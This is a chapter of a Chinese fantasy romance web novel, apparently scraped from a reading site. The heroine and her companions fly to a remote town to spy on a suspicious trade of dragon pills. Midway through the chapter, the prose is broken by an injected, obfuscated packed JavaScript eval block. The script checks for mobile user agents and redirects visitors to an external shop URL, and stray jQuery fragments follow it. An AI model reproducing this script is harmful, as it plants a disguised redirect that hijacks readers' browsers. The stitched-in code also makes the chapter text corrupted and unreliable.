40. 第 40 章

作品:《色盲殿下在我山头修陵后

    今日这院子还真热闹。


    两个侍女在灶房干活,约莫不曾听见敲门声。贺缃叶放下书走了出去。


    她拉开门,门外竟是袀玄。


    “姐姐,几日不见,有没有想我呀?”还是一如既往地嘴贫。


    她转身往屋里走:“你什么时候回来的?”


    “刚回呀!这不就来找你了?”袀玄一脸理所当然的表情。


    “你找我有事?”贺缃叶坐下来拿起书接着看。


    袀玄从桌前绕到她左侧,靠着桌子嚷嚷:“我没回来也不见你关心关心我,太伤心了。”


    “你这不是好好的?”她连头都没抬一下。


    “没见到你,不好。”


    闻言,贺缃叶合上书,觑他一眼:“说正事。”


    “没意思。”他从怀中翻出一封信,递过来,“呐,云青骊给你的,他让我陪你一起去。”


    一起去哪儿?贺缃叶接过来快速浏览,上面说,楚延维趁云青骊关禁闭的时日,有了新的动作。


    “他这不是说交给云青冥了吗?我们去做甚?”


    “据说那日宫里要举办祭天仪式,太子出不了宫,所以云青骊派了他的暗卫同我们一起。”


    这么巧?


    贺缃叶眉心稍拢,总觉得有些不对劲。


    她盯着纸上某一处,口中喃喃:“风神渡。”


    而后,抬起脸问道:“你可知这里是何处?”她未曾听过这个地方。


    袀玄目光微闪,随即咧开嘴:“当然知道了。”


    “你去过?”她进一步问。


    “没去过。”袀玄往旁边走了两步,单手背在身后,“此地虽为渡口,却荒废已久,是无人之渡。”


    “有地图吗?”贺缃叶抿了抿唇。


    话音刚落,袀玄手中就出现了一张羊皮纸。


    “在这里。”他将其摊开在桌面上,食指指着右上角某一处。


    贺缃叶顺着视线望过去,风神渡的右侧竟是松风渊。


    她识趣地没去问袀玄是否自松风渊逃出,又为何看起来对地图这般熟。


    每个人都有秘密,她也不例外。


    “何时出发?”她将地图折了起来还给他。


    “明日,云青骊说他的人会在风神渡附近的镇子等我们。”


    “那今日你早些回去歇着吧。”说完,贺缃叶的眼神移到了门口。


    “留我吃个晚饭呗!我中午没吃饱。”袀玄赖着不走。


    月魄进来听到这话,插了句:“四菜一汤,五块灵石。”


    贺缃叶哭笑不得,正欲说话,却听到袀玄清晰又响亮的回答:“成交!”


    于是他在沧浪居又耗了一个时辰,贺缃叶做什么他便跟着,东瞧瞧西看看,俨然把这当自己家了,待回去之时,天都黑了。


    月魄忍不住抱怨:“山君,您对他也太过包容了,这小子都没点分寸,脸皮忒厚。”


    “无妨。”贺缃叶检查着沧雪枪,拿布擦了又擦,“他救了我的命,只要不是什么过分的事便让他去吧,他也就是嘴欠,无甚坏心。”


    她一直觉得,袀玄是那种看起来笑嘻嘻,但心底却缺少温暖的人。


    次日,天刚蒙蒙亮,贺缃叶便起床了。


    她披着银白色披风,里面穿了件同色系的劲装,将头发束了起来,整个人俨然世家公子的模样。


    此次她不打算带晴山和月魄,一来此行过于危险,二来若是涿光山有什么事,两人也能互相照应一番。


    “山君,真的不带奴婢同去吗?上次您去芫岭险些丢了命……”晴山还有些不放心。


    “无妨,云青骊的人会跟我们汇合,人太多了反而打眼。”


    “那山君,定要护好自己。”


    “嗯,我会的。”


    贺缃叶刚走出没多远,就看到袀玄迎面而来。


    之前没怎么认真看他,今日一瞧,好像是跟刚认识那会儿不一样了。整个人似乎没那么重的面具感,多了些真实。


    “姐姐这般盯着我,莫不是看上我了?”


    算了,当她看走了眼。


    贺缃叶没理他,自顾自往前走。


    “姐姐,咱们不坐兽车去吗?”袀玄看她身后空无一物,问道。


    “御剑而行。”贺缃叶将沧雪枪丢向半空,飞身而起,朝前行去。


    愣神的这会儿,她已经走了好远,袀玄略显狼狈地跟了上来,声音颇为委屈:“姐姐,这么冷的天,御剑去风神渡要消耗多少灵力啊?”


    贺缃叶投去目光,才看到他正站在一把极小的扇子之上,高大的身形瞧着有几分憋屈。


    她略一思索,将他拉了过来,稳稳甩到了沧雪枪后半段上。


    初时袀玄还有些愕然,待反应过来后笑眯眯地往前凑了凑:“姐姐你真好!”


    “站好!不然就回你扇子上去。”贺缃叶微微偏头,朝身后说道。


    “哦。”身后之人依言往后移了几步。


    上空的风很大,但他却未曾感受到一丝冷意,仔细一瞧,原是一层结界将二人围了起来,这才连发丝都不曾波动半分。


    袀玄盯着她的背影,看了好久。


    风神渡附近的镇子,名唤青玉镇。说是镇子,但却人烟稀少,跟村子差不多。


    小镇入口,有两人正靠在界碑旁等候。


    他们见贺缃叶到了,忙迎了上来:“见过山君。”


    正是霜七和雷烟。


    想不到云青骊把他俩派来了,看来此次的行动,不太容易。


    “不必多礼,可有发现?”贺缃叶直截了当地问。


    霜七拱手作答:“回山君,镇子上来了个商队,说是途径此地,要去往北方做生意的。”


    “但瞧着那些人修为不低,不像商人,倒像……跟我们一样。”雷烟接着说。


    “也是暗卫?”


    “也许更准确地说,是死士。”两人对视一番,霜七开口。


    “看来会有一场硬仗。”


    贺缃叶沉吟半晌,说道:“先去找个地方落脚,一会儿去打探下风神渡的具体位置。”


    “是。”


    镇上只有两家客栈,他们选了那间更小的,隐蔽且视野好,恰好二楼能看到另一间的院子。


    “霜七,你去楼下打探一下。”


    “是,山君。”霜七领命而去。


    雷烟擦了擦桌子,给贺缃叶倒了杯水,而后站在一旁。


    “坐吧,别这么拘谨,免得让人生疑,在外不必讲究这些。”贺缃叶指了指长凳。


    “谢山君。”


    “对了,云青骊派你来是怕我受伤?”她喝了口茶,入口苦涩。


    “殿下说,他不在您身边,不希望您再次有性命之忧。”


    坐在对面的袀玄不高兴了:“姐姐,我也能保护你,用不着他。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937910|186497||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    贺缃叶放在手中把玩的杯子停住,语带调侃:“那是谁上次跑得比兔子还快?”


    “上次是你让我走的,这一次我绝对不会再跑!我……”


    他话还没说完,贺缃叶将右手放到嘴边,“嘘”了一声:“看。”


    袀玄循着她的视线望去,对面的一楼院子,突然搬进来好多箱子。


    她顺手关上窗户,只留下一条细缝观察。


    那些人搬了大概十口,便出去了。


    “那箱子里难不成就是他们准备交易的东西?”袀玄凑在缝隙里,看完扭过头说道。


    “嗯,应是龙丹。”


    听到这话,他禁不住咋舌:“可是如此大的数目,这屠了多少条蛟龙啊?”


    “所以说,楚延维此举,丧心病狂,人神共愤。”贺缃叶捏紧杯子,指节泛白。


    此时,门被推开,霜七回来了。


    他走近回禀:“山君,据掌柜所说,风神渡在镇子五里外,要穿过一条河才能到达。但他不建议我们前往,说是那里很邪门。”


    “为何邪门?”


    “一百年前,风神渡还算热闹,一日来了个女妖,好像是从松风渊逃出来的,有人来抓她,随即她在镇上大闹一场,在渡口处她大开杀戒,据说那血都流到了河里,怨气久久不散,往后那渡口便荒废了。”


    贺缃叶听完,静默了片刻。


    “听起来有点吓人。”袀玄插了一句,又说,“姐姐,那里怨气丛生,肯定有危险。”


    “他们的交易庞大,定是觉得那里安全,如此说来,咱们非去不可。”贺缃叶放下杯子,站了起来。


    “姐姐你作甚?”袀玄跟着站起来。


    贺缃叶抖抖披风:“你都说了怨气丛生,得弄点法器药物之类的防身,方才我过来的时候见街上有卖的,去买点。”


    “我同你一起!”


    “不必。”她示意那条缝隙,“你的事更为紧要,在这盯着他们何时转移箱子,及时告知与我。至于买东西,雷烟陪我就行了,免得惹人怀疑。”


    青玉镇虽小,但好多卖稀奇玩意儿的摊子,价格不菲,瞧那些妖,日子过得不算差,故而贺缃叶这一身也不算太过异类。


    她带着雷烟去到一个小摊前,摊主是个小姑娘,头上插两根筷子,面前摆着许多瓶瓶罐罐还有奇形怪状的法器。


    “老板,这个怎么卖?”贺缃叶拿起一面镜子询问。


    小姑娘随意瞥了一眼,声音脆生生的:“清凌镜,驱邪清明,二百灵石。”


    “那这个呢?”她又指着一个绿瓶。


    “融符水,一百灵石。”


    “我要这两个。”


    贺缃叶准备掏钱,有人速度比她更快。


    雷烟将一大袋灵石放在桌面,而后把两样东西呈给了她。


    “我有钱,你不必如此。”虽然贵了点,但她还是买得起。


    “山君不必觉得有负担,这是殿下的意思。”


    贺缃叶:……倒也不必如此周到。


    若是月魄在此,定会心疼这些钱。


    果然是奇怪的地方,连小姑娘都有这么多好东西,虽贵了些,却大有用处。


    两人掉头往回走,却陡然听到“砰”的一声巨响,回荡在整个镇子上空。


    “山君,好像是客栈的方向。”


    “走!”贺缃叶心道不妙,脚下的步子不自觉加快。